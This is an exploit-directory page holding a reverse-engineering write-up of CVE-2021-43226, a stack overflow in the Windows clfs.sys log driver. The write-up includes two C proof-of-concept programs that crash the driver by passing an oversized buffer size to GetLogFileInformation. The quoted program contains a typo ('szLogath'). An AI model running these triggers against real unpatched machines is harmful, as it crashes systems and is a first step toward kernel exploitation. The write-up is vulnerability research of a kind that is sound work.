Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2021-43226PoC — a Proof of Concept of cve-2021-43226,stack overflow in Windows driver clfs.sys | Kitploit
Tools/GitHubGitHub/rosayxy/cve-2021-43226poc
Vulnerability AnalysisExploitationBinary Exploitation
GitHubrosayxy/cve-2021-43226poc

cve-2021-43226PoC

a Proof of Concept of cve-2021-43226,stack overflow in Windows driver clfs.sys

View Repository
2122 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-43226 Reproduction

Environment

Operating system: Win10 20H2 on Hyper-V, build 19042.508. Found a website https://os.click/en, which has a relatively complete collection of Windows images and no backdoor has been discovered yet.
Since the PoC I found was compiled with Visual Studio 2013, I also used Visual Studio 2013 with static linking.

Vulnerability

The vulnerability is in the CClfsLogFcbVirtual::QueryLogFileInfo function inside clfs.sys
clfs.sys is described in Microsoft's documentation as:

The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.

The first pointer of this function is a CClfsLogFcbVirtual* this. Comparing the code before and after the patch, an obvious difference is whether Size is set to 120 before the following code:
v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))( *((_QWORD *)this + 78), a2, 0i64, 0i64, 0, Src, Size);
Among the other parameters called by this function, a2 is a FILE_OBJECT, Src is an array on the stack (IDA decompiles to __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF), and the vulnerability is described as a stack overflow. It is speculated that a stack overflow occurs when Size is greater than 120.

One problem encountered is that it is impossible to directly view cross-references; this function is called via __guard_dispatch_icall_fptr. I am still in the process of determining the parameters passed during the function call.

(update): This function is called by either ClfsQueryLogFileInformation or CClfsRequest::LogFileInfo, which use the two APIs CreateLogFile and GetLogFileInformation respectively. Since the call chain for GetLogFileInformation is significantly shorter, that API was chosen to trigger the crash.

The last parameter passing step when calling GetLogFileInformation is as follows, inside the LogFileInfo function:

v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(  
            *((_QWORD *)this + 18),  
            v14,  
            **(unsigned int **)(*((_QWORD *)this + 6) + 24i64));  

Where v14 is a FileObject, and this is a CClfsRequest passed as a parameter to LogFileInfo.

Looking further at the function that calls LogFileInfo, it is CClfsRequest::Dispatch (specifically declared as __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)). This function determines which specific function to call next via LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;, where CurrentStackLocation is a struct, struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx passed as a parameter, and the assignment of this depends on the parameters passed from the upper function to this dispatch. So we look further up.

Next is the CClfsDispatchIoRequest function:
v7 = CClfsRequest::Dispatch(v4, Irp, a1);
a1 and Irp are the passed parameters; a1 is a DeviceObject, Irp is a PIRP type, i.e., a pointer to IRP (for IRP reference see https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp)
v4 is assigned as follows:

v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);  
if ( v6 )  
  v4 = CClfsRequest::CClfsRequest(v6);//v4 is an int64 type  

Next, looking at the parameter passing, we reach the CClfsDriver::LogIoDispatch function, which directly passes its own received parameters to the CClfsDispatchIoRequest function.

One step further up is the nt!IofCallDriver function, whose declaration is:
NTSTATUS IofCallDriver( PDEVICE_OBJECT DeviceObject, __drv_aliasesMem PIRP Irp );

Reproduction

First, find the specific declaration and parameter meanings of the API.

GetLogFileInformation:

CLFSUSER_API BOOL GetLogFileInformation(  
  [in]      HANDLE            hLog,  
  [in, out] PCLFS_INFORMATION pinfoBuffer,  
  [in, out] PULONG            cbBuffer  
);  

The parameters are defined as follows:

  • hLog: A handle to an open log obtained from a successful call to CreateLogFile. The log handle can refer to a dedicated log or a multiplexed log.
  • pinfoBuffer: Pointer to a user-allocated CLFS_INFORMATION structure that receives log metadata.
  • cbBuffer: Pointer to a variable that, on input, specifies the size in bytes of the metadata buffer pointed to by pinfoBuffer.
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
	//create log file
	wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
	HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
	if (handle == INVALID_HANDLE_VALUE){
		printf("sad:(\n");
		abort();
	}
	printf("create log file success\n");
	//sizeof(CLS_INFORMATION) is 120 i.e. 0x78
	CLFS_INFORMATION buffer;
	ULONG t = 0x120;
	BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
	return 0;
}

Where the parameters of CreateLogFile and GetLogFileInformation are copied directly from Microsoft documentation (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file).

However, I encountered a problem with logname. Initially, I basically followed the documentation:

For example: the path "LOG:c:\MyDirectory\MyLog" creates the file "c:\MyDirectory\MyLog.blf".

But found that this would directly create a log file named 'c' in the current directory, so I looked at the PoC (Others) and changed to the common Windows path format "LOG: C:\MyLog", but that still didn't work. Debugging revealed that it did not call CClfsLogFcbVirtual::QueryLogFileInfo but instead called CClfsLogFcbPhysical::QueryLogFileInfo, so I added a LogStreamName, and it worked.

Another minor issue is that when generating code in Visual Studio with static linking, if the line #pragma comment(lib,"clfsw32.lib") is missing, the linker will repeatedly report errors that CreateLogFile and GetLogFileInformation cannot be found.

PoC(Others)

(https://github.com/KaLendsi/CVE-2021-43224-POC)

#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")

int main() {
	wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";

	//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";

	//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";

	//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0

	//SECURITY_ATTRIBUTES psaLogFile = {};
	HANDLE   hLog = CreateLogFile(szLogath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
	if (INVALID_HANDLE_VALUE == hLog)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	if (!RegisterManageableLogClient(hLog, 0))
		printf("error=%d\n", GetLastError());
	printf("hLog=%p\n", hLog);
	CLFS_INFORMATION pinfoBuffer = {};

	//ULONG infoSize = sizeof(pinfoBuffer);
	ULONG infoSize = 0x110;

	//	system("pause");
	DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
	if (dwRet == NULL)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	printf("dwRet=%08x\n", dwRet);

	return 0;
}
Download Tool